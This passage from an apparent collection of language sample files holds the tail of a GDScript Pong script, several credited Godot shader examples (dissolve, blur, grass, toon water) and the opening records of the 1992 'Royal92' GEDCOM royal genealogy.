(right_rect.has_point(ball_pos) and direction.x > 0)):\n\t\tdirection.x=-direction.x\n\t\tball_speed*=1.1\n\t\tdirection.y=randf()*2.0-1\n\t\tdirection = direction.normalized()\n\n\t#check gameover\n\tif (ball_pos.x<0 or ball_pos.x>screen_size.x):\n\t\tball_pos=screen_size*0.5\n\t\tball_speed=INITIAL_BALL_SPEED\n\t\tdirection=Vector2(-1,0)\n\t\t\t\n\t\t\t\t\t\t\n\tget_node(\"ball\").set_pos(ball_pos)\n\n\t#move left pad\t\n\tvar left_pos = get_node(\"left\").get_pos()\n\t\n\tif (left_pos.y > 0 and Input.is_action_pressed(\"left_move_up\")):\n\t\tleft_pos.y+=-PAD_SPEED*delta\n\tif (left_pos.y < screen_size.y and Input.is_action_pressed(\"left_move_down\")):\n\t\tleft_pos.y+=PAD_SPEED*delta\n\t\t\n\tget_node(\"left\").set_pos(left_pos)\n\t\t\n\t#move right pad\t\n\tvar right_pos = get_node(\"right\").get_pos()\n\t\n\tif (right_pos.y > 0 and Input.is_action_pressed(\"right_move_up\")):\n\t\tright_pos.y+=-PAD_SPEED*delta\n\tif (right_pos.y < screen_size.y and Input.is_action_pressed(\"right_move_down\")):\n\t\tright_pos.y+=PAD_SPEED*delta\n\t\t\n\tget_node(\"right\").set_pos(right_pos)\n\t\n\t \n\nfunc _ready():\n\tscreen_size = get_viewport_rect().size # get actual size\n\tpad_size = get_node(\"left\").get_texture().get_size()\n\tset_process(true)\n\n"
  },
  {
    "path": "samples/GDShader/dissolve.gdshader",
    "content": "// Taken from https://github.com/gdquest-demos/godot-shaders/blob/main/godot/Shaders/dissolve.gdshader\n\nshader_type spatial;\nrender_mode depth_prepass_alpha, cull_disabled;\n\nuniform vec4 albedo : source_color;\nuniform sampler2D texture_albedo : source_color;\n\nuniform vec4 emission_color : source_color = vec4(1);\nuniform float emission_amount;\n\nuniform sampler2D dissolve_texture;\nuniform float burn_size : hint_range(0, 2);\nuniform float dissolve_amount : hint_range(0, 1);\n\nvoid fragment() {\n\tvec4 albedo_tex = texture(texture_albedo, UV);\n\tALBEDO = albedo.rgb * albedo_tex.rgb;\n\t\n\tfloat sample = texture(dissolve_texture, UV).r;\n\tfloat emission_value = 1.0 - smoothstep(dissolve_amount, dissolve_amount + burn_size, sample);\n\tEMISSION = vec3(emission_value * emission_amount * emission_color.rgb);\n\tALPHA = smoothstep(dissolve_amount - burn_size, dissolve_amount, sample);\n}"
  },
  {
    "path": "samples/GDShader/first_shader.gdshader",
    "content": "// Taken directly from Godot Engine documentation \n// https://docs.godotengine.org/en/stable/tutorials/shaders/your_first_shader/your_first_3d_shader.html\n\nshader_type spatial;\n\nuniform float height_scale = 0.5;\nuniform sampler2D noise;\nuniform sampler2D normalmap;\n\nvarying vec2 tex_position;\n\nvoid vertex() {\n  tex_position = VERTEX.xz / 2.0 + 0.5;\n  float height = texture(noise, tex_position).x;\n  VERTEX.y += height * height_scale;\n}\n\nvoid fragment() {\n  NORMAL_MAP = texture(normalmap, tex_position).xyz;\n}"
  },
  {
    "path": "samples/GDShader/gaussian_blur.gdshader",
    "content": "// Taken from https://github.com/gdquest-demos/godot-shaders/blob/main/godot/Shaders/gaussian_blur.gdshader\n\nshader_type canvas_item;\n\nuniform vec2 blur_scale = vec2(1, 0);\n\nconst float SAMPLES = 71.0;\nconst float TAU = 6.283185307179586476925286766559;\n\nfloat gaussian(float x) {\n\tfloat x_squared = x * x;\n\tfloat width = 1.0 / sqrt(TAU * SAMPLES);\n\n\treturn width * exp((x_squared / (2.0 * SAMPLES)) * -1.0);\n}\n\nvoid fragment() {\n\tvec2 scale = TEXTURE_PIXEL_SIZE * blur_scale;\n\t\n\tfloat total_weight = 0.0;\n\tvec4 color = vec4(0.0);\n\t\n\tfor (int i = -int(SAMPLES) / 2; i < int(SAMPLES) / 2; ++i) {\n\t\tfloat weight = gaussian(float(i));\n\t\tcolor += texture(TEXTURE, UV + scale * vec2(float(i))) * weight;\n\t\ttotal_weight += weight;\n\t}\n\t\n\tCOLOR = color / total_weight;\n}"
  },
  {
    "path": "samples/GDShader/include.gdshaderinc",
    "content": "// Taken directly from Godot Engine documentation\n// https://docs.godotengine.org/en/stable/tutorials/shaders/shader_reference/shader_preprocessor.html\n\n// fancy_color.gdshaderinc\n\n// While technically allowed, there is usually no `shader_type` declaration in include files.\n\nvec3 get_fancy_color() {\n    return vec3(0.3, 0.6, 0.9);\n}"
  },
  {
    "path": "samples/GDShader/stylized_grass.gdshader",
    "content": "// Shader from https://godotshaders.com/shader/stylized-grass-with-wind-and-deformation/\nshader_type spatial;\nrender_mode cull_disabled, unshaded;\n\nuniform float wind_speed = 0.2;\nuniform float wind_strength = 2.0;\n// How big, in world space, is the noise texture\n// wind will tile every wind_texture_tile_size\nuniform float wind_texture_tile_size = 20.0;\nuniform float wind_vertical_strength = 0.3;\nuniform vec2 wind_horizontal_direction = vec2(1.0,0.5);\n\nuniform sampler2D color_ramp : hint_black_albedo;\n// we need a tiling noise here!\nuniform sampler2D wind_noise : hint_black;\n\nuniform vec3 character_position;\nuniform float character_radius = 3.0;\nuniform sampler2D character_distance_falloff_curve : hint_black_albedo;\nuniform float character_push_strength = 1.0;\n\nvarying float debug_wind;\n\nvoid vertex() {\n\t\n\tvec3 world_vert = (WORLD_MATRIX * vec4(VERTEX, 1.0)).xyz;\n\n\tvec2 normalized_wind_direction = normalize(wind_horizontal_direction);\n\tvec2 world_uv = world_vert.xz / wind_texture_tile_size + normalized_wind_direction * TIME * wind_speed;\n\t// we displace only the top part of the mesh\n\t// note that this means that the mesh needs to have UV in a way that the bottom of UV space\n\t// is at the top of the mesh\n\tfloat displacement_affect = (1.0 - UV.y);\n\tfloat wind_noise_intensity = (textureLod(wind_noise, world_uv , 0.0).r - 0.5);\n\n\t// We convert the direction of the wind into vertex space from world space\n\t// if we used it directly in vertex space, rotated blades of grass wouldn't behave properly\n\tvec2 vert_space_horizontal_dir = (inverse(WORLD_MATRIX) * vec4(wind_horizontal_direction, 0.0,0.0)).xy;\n\tvert_space_horizontal_dir = normalize(vert_space_horizontal_dir);\n\t\n\tvec3 bump_wind = vec3(\n\t\twind_noise_intensity * vert_space_horizontal_dir.x,\n\t\t1.0 - wind_noise_intensity,\n\t\twind_noise_intensity * vert_space_horizontal_dir.y \n\t);\n\tnormalize(bump_wind);\n\tbump_wind *= vec3(\n\t\twind_strength,\n\t\twind_vertical_strength,\n\t\twind_strength\n\t);\n\tVERTEX += bump_wind * displacement_affect;\n\t\n\t// At the moment the blades are pushed away in a perfectly circular manner.\n\t// We could distort the distance to the character based on a noise, to break a bit the\n\t// circular shape. We could distort the falloff by sampling in a noise based on the xz coordinates.\n\t// The task is left to the reader\n\t\n\tvec3 dir_to_character = character_position - WORLD_MATRIX[3].xyz;\n\t// uncomment the following line to have a horizontal only character push\n//\tdir_to_character.y = 0.0;\n\tfloat distance_to_character = length(dir_to_character);\n\tfloat falloff = 1.0 - smoothstep(0.0, 1.0, distance_to_character/character_radius);\n\t// Because we operate in vertex space, we need to convert the direction to the character\n\t// in vertex space. Otherwise, it wouldn't work for rotated blades of grass.\n\t// comment the next line to observe how the blades are not all facing away from the character.\n\tdir_to_character = (inverse(WORLD_MATRIX) * vec4(dir_to_character, 0.0)).xyz;\n\tdir_to_character = normalize(dir_to_character);\n\n\t// sample the curve based on how far we are from the character, in normalized coordinates\n\tfloat falloff_curve = texture(character_distance_falloff_curve, vec2(falloff)).x;\n\t// direction to character is inverted because we want to point away from it\n\tVERTEX += normalize(-dir_to_character) * falloff_curve * character_push_strength * displacement_affect;\n\t\n}\n\nvoid fragment() {\n\tALBEDO = texture(color_ramp, vec2(1.0 - UV.y, 0)).rgb ;\n}"
  },
  {
    "path": "samples/GDShader/toon_water.gdshader",
    "content": "// Original shader - https://godotshaders.com/shader/wind-waker-water-no-textures-needed/\n// Wind Waker style water - NekotoArts\n// Adapted from https://www.shadertoy.com/view/3tKBDz\n// After which I added in some fractal Brownian motion\n// as well as vertex displacement\n\nshader_type spatial;\n\nuniform vec4 WATER_COL : hint_color =  vec4(0.04, 0.38, 0.88, 1.0);\nuniform vec4 WATER2_COL : hint_color =  vec4(0.04, 0.35, 0.78, 1.0);\nuniform vec4 FOAM_COL : hint_color = vec4(0.8125, 0.9609, 0.9648, 1.0);\nuniform float distortion_speed = 2.0;\nuniform vec2 tile = vec2(5.0, 5.0);\nuniform float height = 2.0;\nuniform vec2 wave_size = vec2(2.0, 2.0);\nuniform float wave_speed = 1.5;\n\nconst float M_2PI = 6.283185307;\nconst float M_6PI = 18.84955592;\n\nfloat random(vec2 uv) {\n    return fract(sin(dot(uv.xy,\n        vec2(12.9898,78.233))) *\n            43758.5453123);\n}\n\nfloat noise(vec2 uv) {\n    vec2 uv_index = floor(uv);\n    vec2 uv_fract = fract(uv);\n\n    // Four corners in 2D of a tile\n    float a = random(uv_index);\n    float b = random(uv_index + vec2(1.0, 0.0));\n    float c = random(uv_index + vec2(0.0, 1.0));\n    float d = random(uv_index + vec2(1.0, 1.0));\n\n    vec2 blur = smoothstep(0.0, 1.0, uv_fract);\n\n    return mix(a, b, blur.x) +\n            (c - a) * blur.y * (1.0 - blur.x) +\n            (d - b) * blur.x * blur.y;\n}\n\nfloat fbm(vec2 uv) {\n    int octaves = 6;\n    float amplitude = 0.5;\n    float frequency = 3.0;\n\tfloat value = 0.0;\n\t\n    for(int i = 0; i < octaves; i++) {\n        value += amplitude * noise(frequency * uv);\n        amplitude *= 0.5;\n        frequency *= 2.0;\n    }\n    return value;\n}\n\nfloat circ(vec2 pos, vec2 c, float s)\n{\n    c = abs(pos - c);\n    c = min(c, 1.0 - c);\n\n    return smoothstep(0.0, 0.002, sqrt(s) - sqrt(dot(c, c))) * -1.0;\n}\n\n// Foam pattern for the water constructed out of a series of circles\nfloat waterlayer(vec2 uv)\n{\n    uv = mod(uv, 1.0); // Clamp to [0..1]\n\t\n    float ret = 1.0;\n    ret += circ(uv, vec2(0.37378, 0.277169), 0.0268181);\n    ret += circ(uv, vec2(0.0317477, 0.540372), 0.0193742);\n    ret += circ(uv, vec2(0.430044, 0.882218), 0.0232337);\n    ret += circ(uv, vec2(0.641033, 0.695106), 0.0117864);\n    ret += circ(uv, vec2(0.0146398, 0.0791346), 0.0299458);\n    ret += circ(uv, vec2(0.43871, 0.394445), 0.0289087);\n    ret += circ(uv, vec2(0.909446, 0.878141), 0.028466);\n    ret += circ(uv, vec2(0.310149, 0.686637), 0.0128496);\n    ret += circ(uv, vec2(0.928617, 0.195986), 0.0152041);\n    ret += circ(uv, vec2(0.0438506, 0.868153), 0.0268601);\n    ret += circ(uv, vec2(0.308619, 0.194937), 0.00806102);\n    ret += circ(uv, vec2(0.349922, 0.449714), 0.00928667);\n    ret += circ(uv, vec2(0.0449556, 0.953415), 0.023126);\n    ret += circ(uv, vec2(0.117761, 0.503309), 0.0151272);\n    ret += circ(uv, vec2(0.563517, 0.244991), 0.0292322);\n    ret += circ(uv, vec2(0.566936, 0.954457), 0.00981141);\n    ret += circ(uv, vec2(0.0489944, 0.200931), 0.0178746);\n    ret += circ(uv, vec2(0.569297, 0.624893), 0.0132408);\n    ret += circ(uv, vec2(0.298347, 0.710972), 0.0114426);\n    ret += circ(uv, vec2(0.878141, 0.771279), 0.00322719);\n    ret += circ(uv, vec2(0.150995, 0.376221), 0.00216157);\n    ret += circ(uv, vec2(0.119673, 0.541984), 0.0124621);\n    ret += circ(uv, vec2(0.629598, 0.295629), 0.0198736);\n    ret += circ(uv, vec2(0.334357, 0.266278), 0.0187145);\n    ret += circ(uv, vec2(0.918044, 0.968163), 0.0182928);\n    ret += circ(uv, vec2(0.965445, 0.505026), 0.006348);\n    ret += circ(uv, vec2(0.514847, 0.865444), 0.00623523);\n    ret += circ(uv, vec2(0.710575, 0.0415131), 0.00322689);\n    ret += circ(uv, vec2(0.71403, 0.576945), 0.0215641);\n    ret += circ(uv, vec2(0.748873, 0.413325), 0.0110795);\n    ret += circ(uv, vec2(0.0623365, 0.896713), 0.0236203);\n    ret += circ(uv, vec2(0.980482, 0.473849), 0.00573439);\n    ret += circ(uv, vec2(0.647463, 0.654349), 0.0188713);\n    ret += circ(uv, vec2(0.651406, 0.981297), 0.00710875);\n    ret += circ(uv, vec2(0.428928, 0.382426), 0.0298806);\n    ret += circ(uv, vec2(0.811545, 0.62568), 0.00265539);\n    ret += circ(uv, vec2(0.400787, 0.74162), 0.00486609);\n    ret += circ(uv, vec2(0.331283, 0.418536), 0.00598028);\n    ret += circ(uv, vec2(0.894762, 0.0657997), 0.00760375);\n    ret += circ(uv, vec2(0.525104, 0.572233), 0.0141796);\n    ret += circ(uv, vec2(0.431526, 0.911372), 0.0213234);\n    ret += circ(uv, vec2(0.658212, 0.910553), 0.000741023);\n    ret += circ(uv, vec2(0.514523, 0.243263), 0.0270685);\n    ret += circ(uv, vec2(0.0249494, 0.252872), 0.00876653);\n    ret += circ(uv, vec2(0.502214, 0.47269), 0.0234534);\n    ret += circ(uv, vec2(0.693271, 0.431469), 0.0246533);\n    ret += circ(uv, vec2(0.415, 0.884418), 0.0271696);\n    ret += circ(uv, vec2(0.149073, 0.41204), 0.00497198);\n    ret += circ(uv, vec2(0.533816, 0.897634), 0.00650833);\n    ret += circ(uv, vec2(0.0409132, 0.83406), 0.0191398);\n    ret += circ(uv, vec2(0.638585, 0.646019), 0.0206129);\n    ret += circ(uv, vec2(0.660342, 0.966541), 0.0053511);\n    ret += circ(uv, vec2(0.513783, 0.142233), 0.00471653);\n    ret += circ(uv, vec2(0.124305, 0.644263), 0.00116724);\n    ret += circ(uv, vec2(0.99871, 0.583864), 0.0107329);\n    ret += circ(uv, vec2(0.894879, 0.233289), 0.00667092);\n    ret += circ(uv, vec2(0.246286, 0.682766), 0.00411623);\n    ret += circ(uv, vec2(0.0761895, 0.16327), 0.0145935);\n    ret += circ(uv, vec2(0.949386, 0.802936), 0.0100873);\n    ret += circ(uv, vec2(0.480122, 0.196554), 0.0110185);\n    ret += circ(uv, vec2(0.896854, 0.803707), 0.013969);\n    ret += circ(uv, vec2(0.292865, 0.762973), 0.00566413);\n    ret += circ(uv, vec2(0.0995585, 0.117457), 0.00869407);\n    ret += circ(uv, vec2(0.377713, 0.00335442), 0.0063147);\n    ret += circ(uv, vec2(0.506365, 0.531118), 0.0144016);\n    ret += circ(uv, vec2(0.408806, 0.894771), 0.0243923);\n    ret += circ(uv, vec2(0.143579, 0.85138), 0.00418529);\n    ret += circ(uv, vec2(0.0902811, 0.181775), 0.0108896);\n    ret += circ(uv, vec2(0.780695, 0.394644), 0.00475475);\n    ret += circ(uv, vec2(0.298036, 0.625531), 0.00325285);\n    ret += circ(uv, vec2(0.218423, 0.714537), 0.00157212);\n    ret += circ(uv, vec2(0.658836, 0.159556), 0.00225897);\n    ret += circ(uv, vec2(0.987324, 0.146545), 0.0288391);\n    ret += circ(uv, vec2(0.222646, 0.251694), 0.00092276);\n    ret += circ(uv, vec2(0.159826, 0.528063), 0.00605293);\n\treturn max(ret, 0.0);\n}\n\n// Procedural texture generation for the water\nvec3 water(vec2 uv, vec3 cdir, float iTime)\n{\n    uv *= vec2(0.25);\n\tuv += fbm(uv) * 0.2;\n\n    // Parallax height distortion with two directional waves at\n    // slightly different angles.\n    vec2 a = 0.025 * cdir.xz / cdir.y; // Parallax offset\n    float h = sin(uv.x + iTime); // Height at UV\n    uv += a * h;\n    h = sin(0.841471 * uv.x - 0.540302 * uv.y + iTime);\n    uv += a * h;\n    \n    // Texture distortion\n    float d1 = mod(uv.x + uv.y, M_2PI);\n    float d2 = mod((uv.x + uv.y + 0.25) * 1.3, M_6PI);\n    d1 = iTime * 0.07 + d1;\n    d2 = iTime * 0.5 + d2;\n    vec2 dist = vec2(\n    \tsin(d1) * 0.15 + sin(d2) * 0.05,\n    \tcos(d1) * 0.15 + cos(d2) * 0.05\n    );\n    \n    vec3 ret = mix(WATER_COL.rgb, WATER2_COL.rgb, waterlayer(uv + dist.xy));\n    ret = mix(ret, FOAM_COL.rgb, waterlayer(vec2(1.0) - uv - dist.yx));\n    return ret;\n}\n\n\nvoid vertex(){\n\tfloat time = TIME * wave_speed;\n\tvec2 uv = UV * wave_size;\n\tfloat d1 = mod(uv.x + uv.y, M_2PI);\n    float d2 = mod((uv.x + uv.y + 0.25) * 1.3, M_6PI);\n    d1 = time * 0.07 + d1;\n    d2 = time * 0.5 + d2;\n    vec2 dist = vec2(\n    \tsin(d1) * 0.15 + sin(d2) * 0.05,\n    \tcos(d1) * 0.15 + cos(d2) * 0.05\n    );\n\tVERTEX.y += dist.y * height;\n}\n\nvoid fragment()\n{\n\tvec2 uv = UV;\n\t\n    ALBEDO = vec3(water(uv * tile, vec3(0,1,0), TIME * distortion_speed));\n}"
  },
  {
    "path": "samples/GEDCOM/Royal92.ged",
    "content": "0 HEAD\n1 SOUR PAF 2.2\n1 DEST PAF\n1 DATE 20 NOV 1992\n1 FILE ROYALS.GED\n1 CHAR ANSEL\n0 @S1@ SUBM\n1 NAME Denis R. Reid\n1 ADDR 149 Kimrose Lane\n2 CONT Broadview Heights, Ohio 44147-1258\n2 CONT Internet Email address:  ah189@cleveland.freenet.edu\n1 PHON (216) 237-5364\n1 COMM >> In a message to Cliff Manis (cmanis@csoftec.csf.com)\n2 CONT >> Denis Reid wrote the following:\n2 CONT >> Date: Fri, 25 Dec 92 14:12:32 -0500\n2 CONT >> From: ah189@cleveland.Freenet.Edu (Denis Reid)\n2 CONT >> Subject: THE ROYALS\n2 CONT >> First of all,  MERRY CHRISTMAS!\n2 CONT >>\n2 CONT >> You may make this Royal GEDCOM available available to whomever.\n2 CONT >> As you know this is a work in process and have received suggestions,\n2 CONT >> corrections and additions from all over the planet...\n2 CONT >> some even who claim to be descended from Charlemange, himself!\n2 CONT >>\n2 CONT >> The weakest part of the Royals is in the French and Spanish lines.\n2 CONT >> I found that many of the French Kings had multiple mistresses whose\n2 CONT >> descendants claimed noble titles, and the Throne itself in some\n2 CONT >> cases.  I have had the hardest time finding good published sources\n2 CONT >> for French and Spanish Royalty.\n2 CONT >>\n2 CONT >> If you do post it to a BBS or send it around, I would appreciate\n2 CONT >> it if you'd append a message to the effect that I would welcome\n2 CONT >> comments and suggestions and possible sources to improve\n2 CONT >> the database.\n2 CONT >>\n2 CONT >> Since the Royals had so many names and many titles it was difficult\n2 CONT >> to \"fill in the blanks\" with their name.  In the previous version,\n2 CONT >> I included all their titles, names, monikers in the notes.\n2 CONT >>\n2 CONT >> Thanks for your interest.   Denis Reid\n0 @I1@ INDI\n1 NAME Victoria  /Hanover/\n1 TITL Queen of England\n1 SEX F\n1 BIRT\n2 DATE 24 MAY 1819\n2 PLAC Kensington,Palace,London,England\n1 DEAT\n2 DATE 22 JAN 1901\n2 PLAC Osborne House,Isle of Wight,England\n1 BURI\n2 PLAC Royal Mausoleum,Frogmore,Berkshire,England\n1 REFN 1\n1 FAMS @F1@\n1 FAMC @F42@\n0 @I2@ INDI\n1 NAME Albert Augustus Charles//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE 26 AUG 1819\n2 PLAC Schloss Rosenau,Near Coburg,Germany\n1 DEAT\n2 DATE 14 DEC 1861\n2 PLAC Windsor Castle,Berkshire,England\n1 BURI\n2 PLAC Royal Masoleum,Frogmore,Windsor,England\n1 FAMS @F1@\n1 FAMC @F43@\n0 @I3@ INDI\n1 NAME Victoria Adelaide Mary//\n1 TITL Princess Royal\n1 SEX F\n1 BIRT\n2 DATE 21 NOV 1840\n2 PLAC Buckingham,Palace,London,England\n1 CHR\n2 DATE 10 FEB 1841\n2 PLAC Throne Room,Buckingham Palac,England\n1 DEAT\n2 DATE  5 AUG 1901\n2 PLAC Friedrichshof,Near,Kronberg,Taunus\n1 BURI\n2 PLAC Friedenskirche,Potsdam\n1 FAMS @F3@\n1 FAMC @F1@\n0 @I4@ INDI\n1 NAME Edward_VII  /Wettin/\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE  9 NOV 1841\n2 PLAC Buckingham,Palace,London,England\n1 DEAT\n2 DATE  6 MAY 1910\n2 PLAC Buckingham,Palace,London,England\n1 BURI\n2 DATE 20 MAY 1910\n2 PLAC Windsor,Berkshire,England\n1 FAMS @F2@\n1 FAMC @F1@\n0 @I5@ INDI\n1 NAME Alice Maud Mary//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 25 APR 1843\n2 PLAC Buckingham,Palace,London,England\n1 DEAT\n2 DATE 14 DEC 1878\n2 PLAC Darmstadt,,,Germany\n1 FAMS @F8@\n1 FAMC @F1@\n0 @I6@ INDI\n1 NAME Alfred Ernest Albert//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE  6 AUG 1844\n2 PLAC Windsor Castle,Berkshire,England\n1 DEAT\n2 DATE 30 JUL 1900\n2 PLAC Schloss Rosenau,Near Coburg\n1 FAMS @F26@\n1 FAMC @F1@\n0 @I7@ INDI\n1 NAME Helena Augusta Victoria//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 25 MAY 1846\n2 PLAC Buckingham,Palace,London,England\n1 DEAT\n2 DATE  9 JUN 1923\n2 PLAC Schomberg House,Pall Mall,London,England\n1 FAMS @F32@\n1 FAMC @F1@\n0 @I8@ INDI\n1 NAME Louise Caroline Alberta//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 18 MAR 1848\n2 PLAC Buckingham,Palace,London,England\n1 DEAT\n2 DATE  3 DEC 1939\n2 PLAC Kensington,Palace,London,England\n1 BURI\n2 PLAC Frogmore,,,England\n1 FAMS @F69@\n1 FAMC @F1@\n0 @I9@ INDI\n1 NAME Arthur William Patrick//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE  1 MAY 1850\n2 PLAC Buckingham,Palace,London,England\n1 DEAT\n2 DATE 16 JAN 1942\n2 PLAC Bagshot Park,Surrey\n1 FAMS @F34@\n1 FAMC @F1@\n0 @I10@ INDI\n1 NAME Leopold George Duncan//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE  7 APR 1853\n2 PLAC Buckingham,Palace,London,England\n1 DEAT\n2 DATE 28 MAR 1884\n2 PLAC Cannes\n1 FAMS @F5@\n1 FAMC @F1@\n0 @I11@ INDI\n1 NAME Beatrice Mary Victoria//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 14 APR 1857\n2 PLAC Buckingham,Palace,London,England\n1 DEAT\n2 DATE 26 OCT 1944\n2 PLAC Bantridge Park,Balcombe,Sussex,England\n1 FAMS @F6@\n1 FAMC @F1@\n0 @I12@ INDI\n1 NAME Alexandra of_Denmark \"Alix\"//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE  1 DEC 1844\n2 PLAC Yellow Palace,Copenhagen,Denmark\n1 DEAT\n2 DATE 20 NOV 1925\n2 PLAC Sandringham,,Norfolk,England\n1 BURI\n2 PLAC St. George Chap.,Windsor,Berkshire,England\n1 FAMS @F2@\n1 FAMC @F74@\n0 @I13@ INDI\n1 NAME Albert Victor Christian//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE  8 JAN 1864\n2 PLAC Frogmore House,Windsor,Berkshire,England\n1 DEAT\n2 DATE 14 JAN 1892\n2 PLAC Sandringham,,Norfolk,England\n1 BURI\n2 DATE 20 JAN 1892\n2 PLAC Windsor,Berkshire,England\n1 FAMC @F2@\n0 @I14@ INDI\n1 NAME George_V  /Windsor/\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE  3 JUN 1865\n2 PLAC Marlborough Hse,London,England\n1 CHR\n2 DATE  7 JUL 1865\n1 DEAT\n2 DATE 20 JAN 1936\n2 PLAC Sandringham,Norfolk,England\n1 BURI\n2 DATE 28 JAN 1936\n2 PLAC Windsor Castle,St. George Chap.,Berkshire,England\n1 FAMS @F7@\n1 FAMC @F2@\n0 @I15@ INDI\n1 NAME Louise Victoria Alexandra//\n1 TITL Princess Royal\n1 SEX F\n1 BIRT\n2 DATE 20 FEB 1867\n2 PLAC Marlborough,House,London,England\n1 DEAT\n2 DATE  4 JAN 1931\n2 PLAC Portman Square,London,England\n1 FAMS @F29@\n1 FAMC @F2@\n0 @I16@ INDI\n1 NAME Victoria Alexandra Olga//\n1 SEX F\n1 BIRT\n2 DATE  6 JUL 1868\n2 PLAC Marlborough,House,London,England\n1 DEAT\n2 DATE  3 DEC 1935\n2 PLAC Coppins,Iver,Bucks,England\n1 FAMC @F2@\n0 @I17@ INDI\n1 NAME Maude Charlotte Mary//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 26 NOV 1869\n2 PLAC Marlborough,House,London,England\n1 DEAT\n2 DATE 20 NOV 1938\n2 PLAC London,England\n1 FAMS @F21@\n1 FAMC @F2@\n0 @I18@ INDI\n1 NAME John Alexander //\n1 SEX M\n1 BIRT\n2 DATE  6 APR 1871\n1 DEAT\n2 DATE  7 APR 1871\n1 FAMC @F2@\n0 @I19@ INDI\n1 NAME George Victor of_Waldeck//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1831\n1 DEAT\n2 DATE        1889\n1 FAMS @F67@\n0 @I20@ INDI\n1 NAME Frederick_III  //\n1 TITL German Emperor\n1 SEX M\n1 BIRT\n2 DATE 18 OCT 1831\n2 PLAC Neues Palais,Potsdam,Germany\n1 DEAT\n2 DATE 15 JUN 1888\n2 PLAC Neues Palais,Potsdam,Germany\n1 BURI\n2 PLAC Friedenskirche,Potsdam,Germany\n1 FAMS @F3@\n1 FAMC @F147@\n0 @I21@ INDI\n1 NAME William_II  //\n1 TITL German Emperor\n1 SEX M\n1 BIRT\n2 DATE 27 JAN 1859\n2 PLAC Berlin,Germany\n1 DEAT\n2 DATE  4 JUN 1941\n2 PLAC Haus Doorn,Netherlands\n1 FAMS @F136@\n1 FAMS @F146@\n1 FAMC @F3@\n0 @I22@ INDI\n1 NAME Louis_IV of_Hesse //\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1837\n1 DEAT\n2 DATE        1892\n1 FAMS @F8@\n1 FAMC @F114@\n0 @I23@ INDI\n1 NAME Helena Frederica of_Waldeck//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 17 FEB 1861\n2 PLAC Arolsen\n1 DEAT\n2 DATE  1 SEP 1922\n2 PLAC Tyrol\n1 FAMS @F5@\n1 FAMC @F67@\n0 @I24@ INDI\n1 NAME Alice of_Athlone //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1883\n1 DEAT\n2 DATE    JAN 1981\n1 FAMS @F38@\n1 FAMC @F5@\n0 @I25@ INDI\n1 NAME Henry Maurice of_Battenberg//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1858\n1 DEAT\n2 DATE        1896\n1 FAMS @F6@\n1 FAMC @F109@\n0 @I26@ INDI\n1 NAME Alexander of_Carisbrooke //\n1 TITL Marquess\n1 SEX M\n1 BIRT\n2 DATE        1886\n1 DEAT\n2 DATE 23 FEB 1960\n1 BURI\n2 PLAC Whippingham Ch.,Isle of Wight,England\n1 FAMS @F142@\n1 FAMC @F6@\n0 @I27@ INDI\n1 NAME Victoria Eugenie \"Ena\"//\n1 TITL Queen of Spain\n1 SEX F\n1 BIRT\n2 DATE        1887\n1 DEAT\n2 DATE        1969\n2 PLAC Lausanne\n1 FAMS @F143@\n1 FAMC @F6@\n0 @I28@ INDI\n1 NAME Leopold  //\n1 SEX M\n1 BIRT\n2 DATE        1889\n1 DEAT\n2 DATE        1922\n1 FAMC @F6@\n0 @I29@ INDI\n1 NAME Maurice  //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1891\n1 DEAT\n2 DATE        1914\n1 FAMC @F6@\n0 @I30@ INDI\n1 NAME Mary_of_Teck (May) //\n1 TITL Queen\n1 SEX F\n1 BIRT\n2 DATE 26 MAY 1867\n2 PLAC Kensington,Palace,London,England\n1 DEAT\n2 DATE 24 MAR 1953\n2 PLAC Marlborough Hse,London,England\n1 BURI\n2 DATE 31 MAR 1953\n2 PLAC St. George's,Chapel,Windsor Castle,England\n1 FAMS @F7@\n1 FAMC @F41@\n0 @I31@ INDI\n1 NAME Edward_VIII  /Windsor/\n1 TITL Duke of Windsor\n1 SEX M\n1 BIRT\n2 DATE 23 JUN 1894\n2 PLAC White Lodge,Richmond Park,Surrey,England\n1 DEAT\n2 DATE 28 MAY 1972\n2 PLAC Paris,,,France\n1 BURI\n2 PLAC Frogmore,Windsor,Berkshire,England\n1 FAMS @F20@\n1 FAMC @F7@\n0 @I32@ INDI\n1 NAME George_VI  /Windsor/\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 14 DEC 1895\n2 PLAC York Cottage,Sandringham,Norfolk,England\n1 DEAT\n2 DATE  6 FEB 1952\n2 PLAC Sandringham,Norfolk,England\n1 BURI\n2 DATE 11 MAR 1952\n2 PLAC St. George Chap.,,Windsor,England\n1 FAMS @F12@\n1 FAMC @F7@\n0 @I33@ INDI\n1 NAME Mary  /Windsor/\n1 TITL Princess Royal\n1 SEX F\n1 BIRT\n2 DATE 25 APR 1897\n2 PLAC York Cottage,Sandringham,Norfolk,England\n1 DEAT\n2 DATE 28 MAR 1965\n2 PLAC Harewood House,Yorkshire,,England\n1 FAMS @F18@\n1 FAMC @F7@\n0 @I34@ INDI\n1 NAME Henry William Frederick/Windsor/\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE 31 MAR 1900\n2 PLAC York Cottage,Sandringham,Norfolk,England\n1 DEAT\n2 DATE        1974\n1 FAMS @F19@\n1 FAMC @F7@\n0 @I35@ INDI\n1 NAME George Edward Alexander/Windsor/\n1 TITL Duke of Kent\n1 SEX M\n1 